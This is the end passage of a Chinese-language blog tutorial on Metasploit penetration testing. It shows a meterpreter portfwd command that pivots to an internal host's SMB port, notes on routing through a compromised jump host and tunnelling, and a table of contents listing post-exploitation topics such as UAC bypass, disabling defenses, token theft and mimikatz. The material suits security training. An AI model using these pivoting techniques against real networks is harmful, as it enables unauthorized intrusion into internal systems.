Remote: 要连接的本地主机
-R 表明是个反弹的端口转发
-l <opt> Forward: 本地监听端口
Reverse: 本地主机去连接的端口
-p <opt> Forward: 要连接到的远程主机端口
Reverse: 远程主机监听的端口
-r <opt> Forward: 远程主机
1
meterpreter > portfwd add -L 192.168.79.130 -l 54321  -r 10.21.11.3 -p 445


后来:
使用跳板的路由配置只在msfconsole内部生效,似乎db_nmap无效
使用跳板时若跳板机防火墙规则不允许出站可以使用之前的方法修改规则
若本机自己处于内网,可以使用动态域名内网穿透和公网主机+隧道的方式

其他

1
2
pushm
popm #贼实用,可以把模块及其参数用栈保存

来源


安全牛-kali-linux
CATALOG
  1. 1. 总览
  2. 2. 总体流程
  3. 3. 基本命令
    1. 3.1. msfdb
    2. 3.2. msfpc
    3. 3.3. msfvenom
    4. 3.4. msfconsole
  4. 4. meterpreter
    1. 4.1. 生成payload
    2. 4.2. 使用meterpreter
  5. 5. 后渗透测试
    1. 5.1. admin绕过UAC
    2. 5.2. 低权限system提权
    3. 5.3. 关闭防火墙
    4. 5.4. 关闭windefend
    5. 5.5. 关闭bitlocker
    6. 5.6. 开启远程桌面
    7. 5.7. 关闭DEP
    8. 5.8. 杀死防病毒软件
    9. 5.9. token窃取
    10. 5.10. incognito
    11. 5.11. espia
    12. 5.12. lanattacks
    13. 5.13. extapi
    14. 5.14. kiwi
    15. 5.15. Incognito
    16. 5.16. mimikatz
    17. 5.17. sniffer
    18. 5.18. python
    19. 5.19. powershell
    20. 5.20. REG
    21. 5.21. execute
  6. 6. timestomp
    1. 6.1. 跳板
      1. 6.1.1. 使用跳板
      2. 6.1.2. 使用端口转发:
  7. 7. 其他
  8. 8. 来源